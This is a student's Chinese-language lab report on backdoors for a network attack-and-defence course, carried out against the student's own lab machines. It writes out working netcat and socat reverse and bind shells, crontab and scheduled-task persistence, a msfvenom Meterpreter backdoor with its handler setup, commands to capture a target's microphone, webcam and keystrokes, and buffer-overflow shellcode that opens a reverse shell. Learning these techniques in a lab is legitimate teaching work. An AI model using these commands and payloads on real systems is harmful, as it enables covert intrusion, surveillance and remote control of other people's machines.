20191223-Exp2-后门原理与实践
实验报告
姓名:张俊怡 学号:201191223 日期:2022/3/28
课程:网络对抗技术 实验名称:Exp2-后门原理与实践
0 基础知识
后门的概念
后门,本意是指一座建筑背面开设的门,通常比较隐蔽,为进出建筑的人提供方便和隐蔽。在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
后门的来源
- 主机上的后门来源主要有以下几种:
攻击者利用欺骗的手段,通过发送电子邮件或者文件,并诱使主机的操作员打开或运行藏有木马程序的邮件或文件,这些木马程序就会在主机上创建一个后门。
攻击者攻陷一台主机,获得其控制权后,在主机上建立后门,比如安装木马程序,以便下一次入侵时使用。
还有一种后门是软件开发过程中引入的。在软件的开发阶段,程序员常会在软件内创建后门以方便测试或者修改程序中的缺陷,但在软件发布时,后门被有意或者无意忽视了,没有被删除,那么这个软件天生就存在后门,安装该软件的主机就不可避免的引入了后门。
常用后门工具
-
nc和netcat
nc(或 netcat)实用程序可用于与 TCP 或 UDP 相关的各种任务。nc 可以打开 TCP 连接,发送 UDP 数据包,侦听任意 TCP 和 UDP 端口,执行端口扫描,以及处理 IPv4 和 IPv6。与 telnet(1) 不同,nc 精细地编写脚本,并将错误消息分隔到标准错误中,而不是将错误消息发送到标准输出。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Windows: 下载使用。 -
Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
扩展功能(如搜集用户信息、安装服务等功能)
编码模式
运行平台
运行参数
Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
1 实验内容
(4分+2分附加题)
- (1)使用netcat获取主机操作Shell,cron启动 (1分)
(2)使用socat获取主机操作Shell, 任务计划启动 (1分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)加分内容一并写入本实验报告。
2 实验过程
实验环境
主机:windows 11
靶机:Kali Linux Debian 10
**在主机上用ipconfig
命令查看主机ip
如图所示,主机ip为172.30.6.218
在kali虚拟机中查看ip
如图所示,kali虚拟机的ip为:172.30.6.142
2.1 Win获得Linux Shell
1)在windows命令行下输入指令监听1223端口(我的学号后四位)
.\ncat.exe -l -p 1223
2)在kali中使用nc指令连接主机的1223端口
nc 172.30.6.218 1223 -e /bin/sh
3)windows下获得一个linux shell,可运行任何指令,此例是ls
2.2 Linux获得Win Shell
1)kali终端中输入nc监听1223端口
nc -l -p 1223
2)windows主机下连接kali的1223端口
ncat.exe -e cmd.exe 172.30.6.142 1223
3)kali下获得一个windows shell,可运行任何指令,此例是dir
一、在虚拟机中启动cron并在主机监听
1)在Windows下监听8848端口
ncat.exe -l -p 8848
2)在Kali虚拟机下使用crontab指令增加定时任务
crontab指令的功能是增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器
3)此时时间为16:06,在文件最后一行添加
10 * * * * /bin/netcat 172.30.6.218 8848 -e /bin/sh
10表示每时10分时则会自启,连接主机172.30.6.218的8848端口
4)在每小时的10分,主机即可自动获取到kali虚拟机的shell
二、使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux虚拟机的Shell
1)在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理,也可直接搜索
2)在系统工具中的任务计划程序中创建任务
3)设置任务名称,并新建触发器和操作
- 触发器设置为“工作站锁定时”
- 操作设置为启动程序socat.exe,并添加参数
tcp-listen:1223 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1223,同时把cmd.exe的stderr重定向。
4)创建完之后按下Windows+L
锁定计算机(工作台),再次打开时由于已经关闭防火墙没有弹出UAC警报
在Kali中输入命令socat - tcp:172.30.6.218:1223
获取到win的shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
更换了wifi,更新实验环境
主机ip为 192.168.1.103
kali虚拟机的ip为192.168.1.154
1)kali上执行如下指令生成后门程序20191223_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f exe > 20191223_backdoor.exe,其中
- LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
LPORT是回连的端口
-p 使用的payload。
payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型 -
输出到哪个文件
2)在Windows 11主机上打开监听
在Kali上用nc 192.168.1.103 1223 < 20191223_backdoor.exe
将生成的20191223_backdoor.exe后门程序传过去
3)在kali上使用msfconsole
指令进入msf控制台
之后输入如下指令进行配置
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.1.154 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1223 #设置的端口号
show options
5)输入exploit
进行监听,在Windows在打开20191223_backdoor.exe后成功获取到Windows的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在MSF exploit中输入record_mic指令进行录音,此命令默认录制默认麦克风录制1秒钟的音频,-d :记录的秒数,默认为1秒
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
输入run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)
获取主机屏幕截图
使用screenshot
指令可以进行截屏
如图所示:
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msfvenom-help
指令查看msfvenom的帮助文档
选项-l,查看所有msf可用的payload列表。里面有526种payload,我们需要的payload功能是获取反弹连接shell。
使用指令msfvenom -l payloads
可以查看并找出我们需要的payloads
- 就是它linux/x86/meterpreter/reverse_tcp
问题来了,我们该怎样使用它呢?应该加入什么参数呢?
根据学习官方文档,使用指令msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options
查看
根据参数说明
-
-x是可执行文件模板,shellcode会写入这个可执行文件中(我们的模板是pwn1)
LHOST、LPORT是ip地址和端口,我们分别把它改为192.168.1.154(靶机的地址)和1223 -
接下来,打开另一个终端,根据实验一的步骤,设置堆栈可执行,地址随机化;
因为没有更换虚拟机,所以这部分操作同实验一,返回地址为esp寄存器地址+4。
返回地址与实验一相同:0xffffd120
根据发强同学的讲解,修改后的payload为
linux/x86/shell/reverse_nonx_tcp
使用指令msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.154 LPORT=1223 -f c
生成的shellcode如下:
使用perl语言生成input2文件(注意此处不能有回车)
perl -e 'print "A" x 32; print "\x20\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97
\x5b\x68\xc0\xa8\x01\x9a\x66\x68\x04\xc7\x66\x53\x89\xe1\x6a
\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0
\x03\xcd\x80\xff\xe1"'>input2
打开另一个终端,进入msf控制台,进行配置(注意要更改payload)
在第一个终端运行pwn1,成功获得反弹shell。
下面我们在两台不同的虚拟机进行远程注入。
Ubuntu 远程注入 kali,缓冲区溢出攻击,kali 反弹 shell 回连 Ubuntu
- 攻击者是ubuntu IP=192.168.1.137 监听1223端口
- 被攻击者是kali IP=192.168.1.154 在1223端口运行有缓冲区溢出漏洞的pwn1文件
在ubuntu上生成shellcode
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.137 LPORT=1223 -f c
用perl语言将其写入input文件
perl -e 'print "A" x 32;print "\x20\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x01\x89\x66\x68\x04\xc7\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>input
在kali上监听1223端口nc -lvp 1223 -e ./pwn1
随后执行(cat input ;cat) | nc 192.168.1.154 1223
(注意是被攻击机的ip地址)
即可成功获取反弹shell。
六、基础问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?
答:浏览网站所附带的软件,或者在不正规的下载网站下载软件;下载钓鱼邮件里面的附件。
2)例举你知道的后门如何启动起来(win及linux)的方式?
在windows下可以通过将后门启动程序设置为开机启动项或设置任务触发的方式启动后门,写注册表自启动项,使用windows下定时任务的命令at和schtasks;
在linux下, SSH软连接后门(需要ssh配置允许PAM认证才能使用),实验里讲的Crontab定时任务启动,linux进程注入。
3)Meterpreter有哪些给你映像深刻的功能?
通过这次实验,我第一次接触到meterpreter,在打开时会显示由字符拼接起来的图形,让我眼前一亮;它的功能强大,可以通过指令来控制摄像头、麦克风,可以截取屏幕图像,这让我感到不安,如果电脑被留下后门,我们的很多信息就将泄露。
4)如何发现自己有系统有没有被安装后门?
可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是:netstat -an 这个命令能看到所有和本地计算机建立连接的IP;
可以通过“net start”来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务;
利用强大的进程工具lceSword (冰刃)查看系统中的进程,其中红色显示的是可疑进程
实验体会
这次实验大体上比较顺利,我掌握了nc的使用,感觉nc真是一个很强大的工具,它可以监听入站连接、连接远程系统、连接UDP端口、拷贝文件、创建后门等等。作为信息安全专业的学生,将来可能会从事安全方面的工作,所以掌握ncat/socat等工具的使用方法是很重要的,知己知彼才能百战不殆嘛。
其次,实验中遇到的问题有第三题,运行传送的20191223_backdoor.exe文件的时候,出现了不能运行的情况,查阅资料发现,可能是端口被占用的原因,于是我使用指令netstat -ano|findstr"端口号“
找到了占用端口的进程,记下进程号,然后把其kill掉,就能正常运行了。
我加深了对后门的理解。电脑后门一般是指那些绕过安全性控制而获取对程序或系统访问权的程序。这次实验做的后门虽然比较简单,但也是我第一次做后门程序,我通过后门控制虚拟机完成了屏幕录制、截图、音频录制、摄像头拍照等功能,绕过了正常程序(要关闭杀软。。。)非法获取信息,这一系列操作让我有很震撼的体会,让我找到了学习后门的乐趣,同时也加深了我对后门程序的防范意识。